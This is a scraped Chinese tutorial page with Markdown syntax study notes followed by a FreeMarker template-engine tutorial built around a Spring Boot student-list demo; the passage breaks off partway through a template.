整合營銷服務(wù)商

          電腦端+手機(jī)端+微信端=數(shù)據(jù)同步管理

          免費(fèi)咨詢熱線:

          markdown學(xué)習(xí)

          • 展示的是二級(jí)標(biāo)題
          • 二級(jí)標(biāo)題三級(jí)標(biāo)題
          • markdown的段落格式段落字體分割線刪除線下劃線腳注
          • MarkDown錨點(diǎn)的使用
          • MarkDown插入視頻
          • MarkDown列表
          • 列表嵌套
          • MarkDown區(qū)塊
          • 區(qū)塊中使用列表
          • 列表中使用區(qū)塊
          • 事項(xiàng)清單
          • MarkDown代碼
          • 代碼區(qū)塊
          • MarkDown鏈接
          • 高級(jí)鏈接
          • MarkDown圖片
          • MarkDwon使用表格
          • 表格的對(duì)齊方式支持html標(biāo)簽轉(zhuǎn)義

          markdown初級(jí)

              我展示的是一級(jí)標(biāo)題
              =
              我展示的是二級(jí)標(biāo)題
              -
          

          我展示的是一級(jí)標(biāo)題

          我展示的是二級(jí)標(biāo)題

          總結(jié): 在文字下方一行寫1 or n個(gè)等于號(hào)表示一級(jí)標(biāo)題 在文字下方一行寫1 or n個(gè)減號(hào)號(hào)表示二級(jí)標(biāo)題

              # 一級(jí)標(biāo)題
              ## 二級(jí)標(biāo)題
              ### 三級(jí)標(biāo)題
              #### 四級(jí)標(biāo)題
              ##### 五級(jí)標(biāo)題
              ###### 六級(jí)標(biāo)題
              #######
          

          一級(jí)標(biāo)題

          二級(jí)標(biāo)題

          三級(jí)標(biāo)題

          四級(jí)標(biāo)題

          五級(jí)標(biāo)題

          六級(jí)標(biāo)題

          ####### 不支持七級(jí)標(biāo)題

          總結(jié):一共只有六級(jí)標(biāo)題

          markdown的段落格式

          段落

          開啟新的段落的兩種方式
          后面加上兩個(gè)空格然后回車(enter) or空一行 這樣的

          字體

              *斜體文本*
              _斜體文本_
              **粗體文本**
              __粗體文本__
              ***粗斜體文本***
              ___粗斜體文本___
          
              ###分割線
              ***
          

          斜體文本
          斜體文本
          粗體文本
          粗體文本
          粗斜體文本
          粗斜體文本

          分割線

              ****
          
              *     *      *
          	***
          
              - - -
          
              ----------
              *
              **
          





          *
          **
          總結(jié):3 or n(n>=3)

          刪除線

          		RUNOOB.COM
          		GOOGLE.COM
          		~~BAIDU.COM~~  
          

          RUNOOB.COM
          GOOGLE.COM
          BAIDU.COM

          總結(jié):飄號(hào)鍵盤數(shù)字1的左邊

          下劃線

          	<u>下劃線文本</u>
          

          下劃線文本

          腳注

              創(chuàng)建腳注格式類似這樣 [^RUNOOB]。
          
              [^RUNOOB]: 菜鳥教程 -- 學(xué)的不僅是技術(shù),更是夢(mèng)想!!!
          

          創(chuàng)建腳注格式類似這樣 [^RUNOOB]。

          [^RUNOOB]: 菜鳥教程 -- 學(xué)的不僅是技術(shù),更是夢(mèng)想!!!

          總結(jié):腳注對(duì)文本的補(bǔ)充說明。

          MarkDown錨點(diǎn)的使用

              MarkDown不支持錨點(diǎn),所以只能借助html的錨點(diǎn)有兩種方式
              <a id="jump1">標(biāo)題</a>
              <span id="jump2">標(biāo)題二</span>
          
              [標(biāo)題](#jump1)
              [標(biāo)題二](#jump2)
          

          MarkDown不支持錨點(diǎn),所以只能借助html的錨點(diǎn)有兩種方式
          標(biāo)題
          標(biāo)題二

          標(biāo)題
          標(biāo)題二

          總結(jié):標(biāo)題必須添加a標(biāo)簽或者span標(biāo)簽才行而且必須指定id

          MarkDown插入視頻

          html的Iframe標(biāo)簽,可以參考w3c或者碼農(nóng)教程 兼容性不是很好

              <iframe src="http://www.manongjc.com/" width="400" height="400" scrolling="yes" />
          
              <iframe src="//player.bilibili.com/player.html?aid=684723947&bvid=BV1vU4y1971F&cid=735989487&page=1" scrolling="no" border="0" frameborder="no" framespacing="0" allowfullscreen="true"> </iframe>
          
              <video controls height='100%' width='100%' preload="none" poster="http://media.w3.org/2010/05/sintel/poster.png" src="https://encooacademy.oss-cn-shanghai.aliyuncs.com/activity/OpenBrowser.mp4"></video>
          

          MarkDown列表

          Markdown 支持有序列表和無序列表。

          無序列表使用星號(hào)(*)、加號(hào)(+)或是減號(hào)(-)作為列表標(biāo)記,這些標(biāo)記后面要添加一個(gè)空格,然后再填寫內(nèi)容:

          * 第一項(xiàng)
          * 第二項(xiàng)
          * 第三項(xiàng)
          
          + 第一項(xiàng)
          + 第二項(xiàng)
          + 第三項(xiàng)
          
          - 第一項(xiàng)
          - 第二項(xiàng)
          - 第三項(xiàng)
          
          * 第一項(xiàng)
          * 第二項(xiàng)
          * 第三項(xiàng)
          
          • 第一項(xiàng)
          • 第二項(xiàng)
          • 第三項(xiàng)
          • 第一項(xiàng)
          • 第二項(xiàng)
          • 第三項(xiàng)
          • 第一項(xiàng)
          • 第二項(xiàng)
          • 第三項(xiàng)
          • 第一項(xiàng)
          • 第二項(xiàng)
          • 第三項(xiàng)

          有序列表使用數(shù)字并加上 . 號(hào)來表示,如:

          1. 第一項(xiàng)
          2. 第二項(xiàng)
          3. 第三項(xiàng)
          
          1. 第一項(xiàng)
          2. 第二項(xiàng)
          3. 第三項(xiàng)

          列表嵌套

            1. 第一項(xiàng):
                - 第一項(xiàng)嵌套的第一個(gè)元素
                + 第一項(xiàng)嵌套的第二個(gè)元素
                * 第一項(xiàng)嵌套的第三個(gè)元素
          
            2. 第二項(xiàng):
                - 第二項(xiàng)嵌套的第一個(gè)元素
                - 第二項(xiàng)嵌套的第二個(gè)元素
            * 要有縮進(jìn) 
          
          1. 第一項(xiàng):
          2. 第一項(xiàng)嵌套的第一個(gè)元素
          3. 第一項(xiàng)嵌套的第二個(gè)元素
          4. 第一項(xiàng)嵌套的第三個(gè)元素
          5. 第二項(xiàng):
          6. 第二項(xiàng)嵌套的第一個(gè)元素
          7. 第二項(xiàng)嵌套的第二個(gè)元素
          • 要有縮進(jìn) 總結(jié):(+),(-),(*),(數(shù)字點(diǎn))后面都要加一個(gè)空格,否則無效

          MarkDown區(qū)塊

          Markdown 區(qū)塊引用是在段落開頭使用 > 符號(hào) ,然后后面緊跟一個(gè)空格符號(hào):

              > 區(qū)塊引用
              > 菜鳥教程
              > 學(xué)的不僅是技術(shù)更是夢(mèng)想
              另外區(qū)塊是可以嵌套的,一個(gè) > 符號(hào)是最外層,兩個(gè) > 符號(hào)是第一層嵌套,以此類推:
              > 最外層
              > > 第一層嵌套
              > > > 第二層嵌套
              犯得上發(fā)生
              大師傅士大夫
              > > 回到第二層
          

          區(qū)塊引用 菜鳥教程 學(xué)的不僅是技術(shù)更是夢(mèng)想 另外區(qū)塊是可以嵌套的,一個(gè) > 符號(hào)是最外層,兩個(gè) > 符號(hào)是第一層嵌套,以此類推: 最外層

          第一層嵌套

          第二層嵌套 犯得上發(fā)生 大師傅士大夫 回到第二層

          區(qū)塊中使用列表

              > + 第一項(xiàng)   
              > * 第二項(xiàng)
          

          第一項(xiàng)

          第二項(xiàng)

          列表中使用區(qū)塊

          * 第一項(xiàng)
              > 第一項(xiàng)的內(nèi)容
          * 第二項(xiàng)
              > 第二項(xiàng)的內(nèi)容
          
          • 第一項(xiàng) 第一項(xiàng)的內(nèi)容
          • 第二項(xiàng) 第二項(xiàng)的內(nèi)容

          事項(xiàng)清單

          to-do list - [x] 已完成項(xiàng)目 - [x] 已完成項(xiàng)目1 - [x] 已完成項(xiàng)目2 - [ ] 代辦事項(xiàng) - [ ] 代辦事項(xiàng)1 - [ ] 代辦事項(xiàng)2 - [ ] 待辦事項(xiàng)3

          to-do list

          • [x] 已完成項(xiàng)目
          • [x] 已完成項(xiàng)目1
          • [x] 已完成項(xiàng)目2
          • [ ] 代辦事項(xiàng)
          • [ ] 代辦事項(xiàng)1
          • [ ] 代辦事項(xiàng)2
          • [ ] 待辦事項(xiàng)3

          MarkDown代碼

          如果是段落上的一個(gè)函數(shù)或片段的代碼可以用反引號(hào)把它包起來(`),例如: printf() 函數(shù)

          總結(jié):反引號(hào)英文下鍵盤數(shù)字1左邊

          代碼區(qū)塊

          • 方法一 代碼區(qū)塊使用 4 個(gè)空格或者兩個(gè)個(gè)制表符(Tab 鍵)。 class Main{ public static void main(String args[]){ System.out.println("Hello MarkDown"); } }
          • 方法二 你也可以用 ``` 包裹一段代碼,并指定一種語言(也可以不指定):

          ```java

          class Main{ public Main(){

          }
          

          } ```

          ```c++

          abc

          ```

          class Main{
              public Main(){
          
              }
          }
          
          abc
          

          總結(jié):方法二結(jié)束也要```,更容易區(qū)分代碼塊

          MarkDown鏈接

          鏈接使用方法如下: [鏈接名稱](鏈接地址)

          或者

          <鏈接地址>

          例子:百度 or http://www.baidu.com鏈接[^footnote] [^footnote]: 直接使用鏈接地址

          總結(jié):腳注[^變量名] [^變量名]: 必須以這種格式。

          高級(jí)鏈接

          我們可以通過變量來設(shè)置一個(gè)鏈接,變量賦值在文檔末尾進(jìn)行:

              這個(gè)鏈接用 1 作為網(wǎng)址變量 [Google][1]
          
              [1]: http://www.google.com/
          

          這個(gè)鏈接用 runoob 作為網(wǎng)址變量 Runoob BaiDu 然后在文檔的結(jié)尾為變量賦值(網(wǎng)址)

          MarkDown圖片

          Markdown 圖片語法格式如下:

               \![alt 屬性文本](圖片地址)
               \![alt 屬性文本](圖片地址 "可選標(biāo)題")
          

          屬性文本:圖片鏈接失效時(shí)顯示的文字。
          可選標(biāo)題:鼠標(biāo)懸停時(shí),顯示的文字。

          MarkDwon使用表格

          Markdown 制作表格使用 | 來分隔不同的單元格,使用 - 來分隔表頭和其他行。

          語法格式如下 | 表頭 | 表頭 | | --- | ---- | | 單元格 | 單元格 | | 單元格 | 單元格 |

          表頭 表頭 單元格 單元格 單元格 單元格

          表格的對(duì)齊方式

              | 左對(duì)齊 | 右對(duì)齊 | 居中 |
              | :----   | ----:   | :---:|
              | 單元格   | 單元格 | 單元格 |
          

          左對(duì)齊 右對(duì)齊 居中 單元格 單元格 單元格

          左對(duì)齊 右對(duì)齊 居中對(duì)齊 單元格 單元格 單元格 單元格 單元格 單元格

          MarkDown高級(jí)技巧

          支持html標(biāo)簽

          不在 Markdown 涵蓋范圍之內(nèi)的標(biāo)簽,都可以直接在文檔里面用 HTML 撰寫。

          目前支持的 HTML 元素有:<kbd> <b> <i> <em> <sup> <sub> <br>等 ,如:

              使用 <kbd>Ctrl</kbd>+<kbd>Alt</kbd>+<kbd>Del</kbd> 重啟電腦
          

          使用 Ctrl+Alt+Del 重啟電腦

          轉(zhuǎn)義

          Markdown 使用了很多特殊符號(hào)來表示特定的意義,如果需要顯示特定的符號(hào)則需要使用轉(zhuǎn)義字符,Markdown 使用反斜杠轉(zhuǎn)義特殊字符:

          文本加粗 ** 正常顯示星號(hào) **

          Markdown 支持以下這些符號(hào)前面加上反斜杠來幫助插入普通的符號(hào):

          \ 反斜線
          ` 反引號(hào)
          * 星號(hào)
          _ 下劃線
          {} 花括號(hào)
          [] 方括號(hào)
          () 小括號(hào)
          # 井字號(hào)
          + 加號(hào)
          - 減號(hào)
          . 英文句點(diǎn)
          ! 感嘆號(hào)

          概述

          1.1 介紹

          在項(xiàng)目開發(fā)過程中,有很多業(yè)務(wù)模塊的代碼是具有一定規(guī)律性的,例如controller控制器、service接口、service實(shí)現(xiàn)類、mapper接口、model實(shí)體類等等,這部分代碼可以使用代碼生成器生成,我們就可以將更多的時(shí)間放在業(yè)務(wù)邏輯上。

          傳統(tǒng)的開發(fā)步驟:

          創(chuàng)建數(shù)據(jù)庫和表 根據(jù)表設(shè)計(jì)實(shí)體類 ? 編寫mapper接口 ? 編寫service接口和實(shí)現(xiàn)類 ? 編寫controller控制器 ? 編寫前端頁面 ? 前后端聯(lián)調(diào)

          基于代碼生成器開發(fā)步驟:

          創(chuàng)建數(shù)據(jù)庫和表 ? 使用代碼生成器生成實(shí)體類、mapper、service、controller、前端頁面 ? 將生成好的代碼拷貝到項(xiàng)目中并做調(diào)整 ? 前后端聯(lián)調(diào)

          我們只需要知道數(shù)據(jù)庫和表相關(guān)信息,就可以結(jié)合模版生成各個(gè)模塊的代碼,減少了很多重復(fù)工作,也減少出錯(cuò)概率,提高效率。

          1.2 實(shí)現(xiàn)思路

          (1)需要對(duì)數(shù)據(jù)庫表解析獲取到元數(shù)據(jù),包含表字段名稱、字段類型等等

          (2)將通用的代碼編寫成模版文件,部分?jǐn)?shù)據(jù)需使用占位符替換

          (3)將元數(shù)據(jù)和模版文件結(jié)合,使用一些模版引擎工具(例如freemarker)即可生成源代碼文件

          2 Freemarker

          2.1 介紹

          FreeMarker 是一款 模板引擎: 即一種基于模板和要改變的數(shù)據(jù), 并用來生成輸出文本(HTML網(wǎng)頁,電子郵件,配置文件,源代碼等)的通用工具。 它不是面向最終用戶的,而是一個(gè)Java類庫,是一款程序員可以嵌入他們所開發(fā)產(chǎn)品的組件。

          模板編寫為FreeMarker Template Language (FTL)。它是簡(jiǎn)單的,專用的語言, 在模板中,你可以專注于如何展現(xiàn)數(shù)據(jù), 而在模板之外可以專注于要展示什么數(shù)據(jù)。

          2.2 應(yīng)用場(chǎng)景

          (1)動(dòng)態(tài)頁面

          freemarker可以作為springmvc一種視圖格式,像jsp一樣被瀏覽器訪問。

          (2)頁面靜態(tài)化

          對(duì)于一些內(nèi)容比較多,更新頻率很小,訪問又很頻繁的頁面,可以使用freemarker靜態(tài)化,減少DB的壓力,提高頁面打開速度。

          (3)代碼生成器

          根據(jù)配置生成頁面和代碼,減少重復(fù)工作,提高開發(fā)效率。

          2.3 快速入門

          (1)創(chuàng)建freemarker-demo模塊,并導(dǎo)入相關(guān)依賴

          <?xml version="1.0" encoding="UTF-8"?>
          <project xmlns="http://maven.apache.org/POM/4.0.0"
                   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
                   xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
              <modelVersion>4.0.0</modelVersion>
          
              <groupId>com.itheima</groupId>
              <artifactId>freemarker-demo</artifactId>
              <version>1.0-SNAPSHOT</version>
          
              <parent>
                  <groupId>org.springframework.boot</groupId>
                  <artifactId>spring-boot-starter-parent</artifactId>
                  <version>2.3.1.RELEASE</version>
              </parent>
          
              <properties>
                  <maven.compiler.source>8</maven.compiler.source>
                  <maven.compiler.target>8</maven.compiler.target>
              </properties>
          
              <dependencies>
                  <dependency>
                      <groupId>org.springframework.boot</groupId>
                      <artifactId>spring-boot-starter-web</artifactId>
                  </dependency>
                  <dependency>
                      <groupId>org.springframework.boot</groupId>
                      <artifactId>spring-boot-starter-test</artifactId>
                  </dependency>
                  <!-- freemarker -->
                  <dependency>
                      <groupId>org.springframework.boot</groupId>
                      <artifactId>spring-boot-starter-freemarker</artifactId>
                  </dependency>
                  <!-- lombok -->
                  <dependency>
                      <groupId>org.projectlombok</groupId>
                      <artifactId>lombok</artifactId>
                  </dependency>
              </dependencies>
          </project>

          (2)application.yml相關(guān)配置

          server:
            port: 8881 #服務(wù)端口
          spring:
            application:
              name: freemarker-demo #指定服務(wù)名
            freemarker:
              cache: false #關(guān)閉模板緩存,方便測(cè)試
              settings:
                template_update_delay: 0 #檢查模板更新延遲時(shí)間,設(shè)置為0表示立即檢查,如果時(shí)間大于0會(huì)有緩存不方便進(jìn)行模板測(cè)試
              suffix: .ftl #指定Freemarker模板文件的后綴名

          (3)創(chuàng)建啟動(dòng)類

          package com.heima.freemarker;
          
          import org.springframework.boot.SpringApplication;
          import org.springframework.boot.autoconfigure.SpringBootApplication;
          
          @SpringBootApplication
          public class FreemarkerDemotApplication {
              public static void main(String[] args) {
                  SpringApplication.run(FreemarkerDemotApplication.class,args);
              }
          }

          (4)創(chuàng)建Student模型類

          package com.itheima.freemarker.entity;
          
          import lombok.AllArgsConstructor;
          import lombok.Data;
          import lombok.NoArgsConstructor;
          
          import java.util.Date;
          
          @Data
          @NoArgsConstructor
          @AllArgsConstructor
          public class Student {
              private Integer id;
              private String name;//姓名
              private Integer age;//年齡
              private Date birthday;//生日
              private Float money;//錢包
          }

          (5)創(chuàng)建StudentController

          package com.itheima.freemarker.controller;
          
          import com.itheima.freemarker.entity.Student;
          import org.springframework.stereotype.Controller;
          import org.springframework.ui.Model;
          import org.springframework.web.bind.annotation.GetMapping;
          import org.springframework.web.bind.annotation.RequestMapping;
          
          import java.util.Date;
          
          @Controller
          @RequestMapping("student")
          public class StudentController {
          
              @GetMapping("index")
              public String index(Model model){
                  //1.純文本形式的參數(shù)
                  model.addAttribute("name", "Freemarker");
          
                  //2.實(shí)體類相關(guān)的參數(shù)
                  Student student = new Student();
                  student.setName("黑馬");
                  student.setAge(18);
                  model.addAttribute("stu", student);
          
                  return "01-index";
              }
          }

          (6)在resources/templates下創(chuàng)建01-index.ftl模版文件

          <!DOCTYPE html>
          <html>
          <head>
              <meta charset="utf-8">
              <title>首頁</title>
          </head>
          <body>
          <b>普通文本 String 展示:</b><br/>
          Hello ${name} <br>
          
          <hr>
          <b>對(duì)象Student中的數(shù)據(jù)展示:</b><br/>
          姓名:${stu.name}<br/>
          年齡:${stu.age}
          <hr>
          </body>
          </html>

          (7)測(cè)試

          瀏覽器訪問 http://localhost:8881/student/index

          效果如下

          2.4 模版

          2.4.1 基礎(chǔ)語法種類

          (1)注釋,即<#-- -->,介于其之間的內(nèi)容會(huì)被freemarker忽略

          <#--我是一個(gè)freemarker注釋-->

          (2)插值(Interpolation):即 ${..} 部分,freemarker會(huì)用真實(shí)的值代替${..}

          Hello ${name}

          (3)FTL指令:和HTML標(biāo)記類似,名字前加#予以區(qū)分,F(xiàn)reemarker會(huì)解析標(biāo)簽中的表達(dá)式或邏輯。

          <# >FTL指令</#> 

          (4)文本,僅文本信息,這些不是freemarker的注釋、插值、FTL指令的內(nèi)容會(huì)被freemarker忽略解析,直接輸出內(nèi)容。

          <#--freemarker中的普通文本-->
          我是一個(gè)普通的文本

          2.4.2 if指令

          if 指令即判斷指令,是常用的FTL指令,freemarker在解析時(shí)遇到if會(huì)進(jìn)行判斷,條件為真則輸出if中間的內(nèi)容,否則跳過內(nèi)容不再輸出。

          格式如下

          <#if condition>
            ....
          <#elseif condition2>
            ...
          <#elseif condition3>   
            ...
          <#else>
            ...
          </#if>

          需求:根據(jù)年齡輸出所處的年齡段

          童年:0歲—6歲(周歲,下同) 少年:7歲—17歲 青年:18歲—40歲 中年:41—65歲 老年:66歲以后

          實(shí)例代碼:

          (1)在01-index.ftl添加如下代碼

          <#if stu.age <= 6>
          童年
          <#elseif stu.age <= 17>
          少年
          <#elseif stu.age <= 40>   
          青年
          <#elseif stu.age <= 65>   
          中年
          <#else>
          老年
          </#if>

          (2)測(cè)試

          瀏覽器訪問http://localhost:8881/student/index

          效果如下

          2.4.3 list指令

          list指令時(shí)一個(gè)迭代輸出指令,用于迭代輸出數(shù)據(jù)模型中的集合

          格式如下

          <#list items as item>
              ${item_index + 1}------${item}-----<#if item_has_next>,</#if>
          </#list>

          迭代集合對(duì)象時(shí),包括兩個(gè)特殊的循環(huán)變量: (1)item_index:當(dāng)前變量的索引值。 (2)item_has_next:是否存在下一個(gè)對(duì)象

          item_index 和 item_has_nex 中的item為<#list items as item> 中as后面的臨時(shí)變量

          需求:遍歷學(xué)生集合,輸出序號(hào),學(xué)生id,姓名,所處的年齡段,是否最后一條數(shù)據(jù)

          (1)在StudentController中增加方法

          @GetMapping("list")
          public String list(Model model) throws ParseException {
              List<Student> list = new ArrayList<>();
          
              list.add(new Student(1001,"張飛",15, null, 1000.11F));
              list.add(new Student(1002,"劉備",28, null, 5000.3F));
              list.add(new Student(1003,"關(guān)羽",45, null, 9000.63F));
              list.add(new Student(1004,"諸葛亮",62, null, 10000.99F));
              list.add(new Student(1005,"成吉思汗",75, null, 16000.66F));
              model.addAttribute("stus",list);
          
              return "02-list";
          }

          (2)在resources/templates目錄下創(chuàng)建02-list.ftl模版

          <!DOCTYPE html>
          <html>
          <head>
              <meta charset="utf-8">
              <title>列表頁面</title>
              <style>
                  table{
                      border-spacing: 0;/*把單元格間隙設(shè)置為0*/
                      border-collapse: collapse;/*設(shè)置單元格的邊框合并為1*/
                  }
                  td{
                      border:1px solid #ACBED1;
                      text-align: center;
                  }
              </style>
          </head>
          <body>
          
          <table>
              <tr>
                  <td>序號(hào)</td>
                  <td>id</td>
                  <td>姓名</td>
                  <td>所處的年齡段</td>
                  <td>生日</td>
                  <td>錢包</td>
                  <td>是否最后一條數(shù)據(jù)</td>
              </tr>
              <#list stus as stu >
                  <tr>
                      <td>${stu_index + 1}</td>
                      <td>${stu.id}</td>
                      <td>${stu.name}</td>
                      <td>
                          <#if stu.age <= 6>
                              童年
                          <#elseif stu.age <= 17>
                              少年
                          <#elseif stu.age <= 40>   
                              青年
                          <#elseif stu.age <= 65>   
                              中年
                          <#else>
                              老年
                          </#if>
                      </td>
                      <td></td>
                      <td>${stu.money}</td>
                      <td>
                          <#if stu_has_next>
                          否
                          <#else>
                          是
                          </#if>
                      </td>
                  </tr>
              </#list>
          </table>
          
          <hr>
          </body>
          </html>

          (2)測(cè)試

          瀏覽器訪問http://localhost:8881/student/list

          效果如下

          2.4.4 include指令

          include指令的作用類似于JSP的包含指令,用于包含指定頁,include指令的語法格式如下

          <#include filename [options]></#include>

          (1)filename:該參數(shù)指定被包含的模板文件 (2)options:該參數(shù)可以省略,指定包含時(shí)的選項(xiàng),包含encoding和parse兩個(gè)選項(xiàng),encoding 指定包含頁面時(shí)所使用的解碼集,而parse指定被包含是否作為FTL文件來解析。如果省略了parse選項(xiàng)值,則該選項(xiàng)值默認(rèn)是true

          需求:"早上好,尊敬的 某某 用戶!" 這句話在很多頁面都有用到,請(qǐng)合理設(shè)計(jì)!

          (1)在resources/templates目錄下創(chuàng)建00-head.ftl模版,內(nèi)容如下

          早上好,尊敬的 ${name} 用戶!

          (2)在resources/templates目錄下創(chuàng)建03-include.ftl模版,使用include引入00-head.ftl模版,內(nèi)容如下

          <!DOCTYPE html>
          <html>
          <head>
              <meta charset="utf-8">
              <title>詳情頁</title>
          </head>
          <body>
          
          <#include "00-head.ftl" />
          <br>
          歡迎來到黑馬程序員。
          
          </body>
          </html>

          (3)在StudentController中增加方法

          @GetMapping("include")
          public String include(Model model) throws ParseException {
          model.addAttribute("name", "黑馬");
          return "03-include";
          }

          (4)測(cè)試

          瀏覽器訪問http://localhost:8881/student/include

          效果如下

          2.4.5 assign指令

          它用于為該模板頁面創(chuàng)建或替換一個(gè)頂層變量

          <#assign name = "zhangsan" />

          2.4.6 運(yùn)算符

          (1)算數(shù)運(yùn)算符

          FreeMarker表達(dá)式中完全支持算術(shù)運(yùn)算,FreeMarker支持的算術(shù)運(yùn)算符包括:

          • 加法: +
          • 減法: -
          • 乘法: *
          • 除法: /
          • 求模 (求余): %

          (2)比較運(yùn)算符

          • =或者==:判斷兩個(gè)值是否相等.
          • !=:判斷兩個(gè)值是否不等.
          • >或者gt:判斷左邊值是否大于右邊值
          • >=或者gte:判斷左邊值是否大于等于右邊值
          • <或者lt:判斷左邊值是否小于右邊值
          • <=或者lte:判斷左邊值是否小于等于右邊值

          比較運(yùn)算符注意

          • =!=可以用于字符串、數(shù)值和日期來比較是否相等
          • =!=兩邊必須是相同類型的值,否則會(huì)產(chǎn)生錯(cuò)誤
          • 字符串 "x""x ""X"比較是不等的.因?yàn)镕reeMarker是精確比較
          • 其它的運(yùn)行符可以作用于數(shù)字和日期,但不能作用于字符串
          • 使用gt等字母運(yùn)算符代替>會(huì)有更好的效果,因?yàn)?FreeMarker會(huì)把>解釋成FTL標(biāo)簽的結(jié)束字符
          • 可以使用括號(hào)來避免這種情況,如:<#if (x>y)>

          (3)邏輯運(yùn)算符

          • 邏輯與:&&
          • 邏輯或:||
          • 邏輯非:!

          邏輯運(yùn)算符只能作用于布爾值,否則將產(chǎn)生錯(cuò)誤 。

          2.4.7 空值處理

          (1)缺失變量默認(rèn)值使用 “!”

          • 使用!要以指定一個(gè)默認(rèn)值,當(dāng)變量為空時(shí)顯示默認(rèn)值
          • 例: ${name!''}表示如果name為空顯示空字符串。
          • 如果是嵌套對(duì)象則建議使用()括起來
          • 例: ${(stu.bestFriend.name)!''}表示,如果stu或bestFriend或name為空默認(rèn)顯示空字符串。

          (2)判斷某變量是否存在使用 “??”

          用法為:variable??,如果該變量存在,返回true,否則返回false

          例:為防止stus為空?qǐng)?bào)錯(cuò)可以加上判斷如下:

              <#if stus??>
                  <#list stus as stu>
                      ......
                  </#list>
              </#if>

          2.4.8 內(nèi)建函數(shù)

          內(nèi)建函數(shù)語法格式: 變量+?+函數(shù)名稱

          (1)求集合的大小

          ${集合名?size}

          (2)日期格式化

          顯示年月日: ${today?date} 顯示時(shí)分秒:${today?time} 顯示日期+時(shí)間:${today?datetime} 自定義格式化: ${today?string("yyyy年MM月")}

          (3)內(nèi)建函數(shù)c

          model.addAttribute("point", 102920122);

          point是數(shù)字型,使用${point}會(huì)顯示這個(gè)數(shù)字的值,每三位使用逗號(hào)分隔。

          如果不想顯示為每三位分隔的數(shù)字,可以使用c函數(shù)將數(shù)字型轉(zhuǎn)成字符串輸出

          ${point?c}

          (4)將json字符串轉(zhuǎn)成對(duì)象

          一個(gè)例子:

          其中用到了 assign標(biāo)簽,assign的作用是定義一個(gè)變量。

          <#assign text="{'bank':'工商銀行','account':'10101920201920212'}" />
          <#assign data=text?eval />
          開戶行:${data.bank}  賬號(hào):${data.account}

          (5)常見內(nèi)建函數(shù)匯總

          ?html:html字符轉(zhuǎn)義
          ?cap_first: 字符串的第一個(gè)字母變?yōu)榇髮懶问??lower_case :字符串的小寫形式
          ?upper_case :字符串的大寫形式
          ?trim:去掉字符串首尾的空格
          ?substring(from,to):截字符串  from是第一個(gè)字符的開始索引,to最后一個(gè)字符之后的位置索引,當(dāng)to為空時(shí),默認(rèn)的是字符串的長(zhǎng)度
          ?lenth: 取長(zhǎng)度
          ?size: 序列中元素的個(gè)數(shù)
          ?int: 數(shù)字的整數(shù)部分(比如 -1.9?int 就是 -1)
          ?replace(param1,param2):字符串替換  param1是匹配的字符串 param2是將匹配的字符替換成指定字符

          內(nèi)建函數(shù)測(cè)試demo1

          (1)在StudentController新增方法:

          @GetMapping("innerFunc")
          public String testInnerFunc(Model model) {
              //1.1 小強(qiáng)對(duì)象模型數(shù)據(jù)
              Student stu1 = new Student();
              stu1.setName("小強(qiáng)");
              stu1.setAge(18);
              stu1.setMoney(1000.86f);
              stu1.setBirthday(new Date());
              //1.2 小紅對(duì)象模型數(shù)據(jù)
              Student stu2 = new Student();
              stu2.setName("小紅");
              stu2.setMoney(200.1f);
              stu2.setAge(19);
              //1.3 將兩個(gè)對(duì)象模型數(shù)據(jù)存放到List集合中
              List<Student> stus = new ArrayList<>();
              stus.add(stu1);
              stus.add(stu2);
              model.addAttribute("stus", stus);
              // 2.1 添加日期
              Date date = new Date();
              model.addAttribute("today", date);
              // 3.1 添加數(shù)值
              model.addAttribute("point", 102920122);
              return "04-innerFunc";
          }

          (2)在resources/templates目錄下創(chuàng)建04-innerFunc.ftl模版頁面:

          <!DOCTYPE html>
          <html>
          <head>
              <meta charset="utf-8">
              <title>inner Function</title>
          </head>
          <body>
          
              <b>獲得集合大小</b><br>
          
              集合大小:${stus?size}
              <hr>
          
          
              <b>獲得日期</b><br>
          
              顯示年月日: ${today?date}       <br>
          
              顯示時(shí)分秒:${today?time}<br>
          
              顯示日期+時(shí)間:${today?datetime}<br>
          
              自定義格式化:  ${today?string("yyyy年MM月")}<br>
          
              <hr>
          
              <b>內(nèi)建函數(shù)C</b><br>
              沒有C函數(shù)顯示的數(shù)值:${point} <br>
          
              有C函數(shù)顯示的數(shù)值:${point?c}
          
              <hr>
          
              <b>聲明變量assign</b><br>
              <#assign text="{'bank':'工商銀行','account':'10101920201920212'}" />
              <#assign data=text?eval />
              開戶行:${data.bank}  賬號(hào):${data.account}
          
          <hr>
          </body>
          </html>

          (3)測(cè)試

          瀏覽器訪問http://localhost:8881/student/innerFunc

          效果如下

          內(nèi)建函數(shù)測(cè)試demo2

          需求:遍歷學(xué)生集合,顯示集合總條數(shù),id不要逗號(hào)隔開,顯示學(xué)生的生日(只顯示年月日),錢包顯示整數(shù)并顯示單位,用戶姓名做脫敏處理(如果是兩個(gè)字第二個(gè)字顯示為星號(hào),例如張三顯示為張*,如果大于兩個(gè)字,中間字顯示為星號(hào),例如成吉思汗顯示為成*汗,諸葛亮顯示為諸*亮

          (1)修改StudentController中的list方法,

          @GetMapping("list")
          public String list(Model model) throws ParseException {
              DateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
              List<Student> list = new ArrayList<>();
          
              list.add(new Student(1001,"張三",15, dateFormat.parse("2007-10-01 10:00:00"), 1000.11F));
              list.add(new Student(1002,"李四",28, dateFormat.parse("1994-10-01 10:00:00"), 5000.3F));
              list.add(new Student(1003,"王五",45, dateFormat.parse("1977-10-01 10:00:00"), 9000.63F));
              list.add(new Student(1004,"趙六",62, dateFormat.parse("1960-10-01 10:00:00"), 10000.99F));
              list.add(new Student(1005,"孫七",75, dateFormat.parse("1947-10-01 10:00:00"), 16000.66F));
              model.addAttribute("stus",list);
          
              return "02-list";
          }

          (2)修改02-list.ftl模版

          共${stus?size}條數(shù)據(jù):輸出總條數(shù)

          stu.id后面加?c:id不需要逗號(hào)分割

          stu.birthday后面加?date:生日只輸出年月日

          stu.money后面加?int:金額取整

          姓名需要使用replace和substring函數(shù)處理

          完整內(nèi)容如下

          <!DOCTYPE html>
          <html>
          <head>
              <meta charset="utf-8">
              <title>列表頁面</title>
              <style>
                  table{
                      border-spacing: 0;/*把單元格間隙設(shè)置為0*/
                      border-collapse: collapse;/*設(shè)置單元格的邊框合并為1*/
                  }
                  td{
                      border:1px solid #ACBED1;
                      text-align: center;
                  }
              </style>
          </head>
          <body>
          共${stus?size}條數(shù)據(jù)
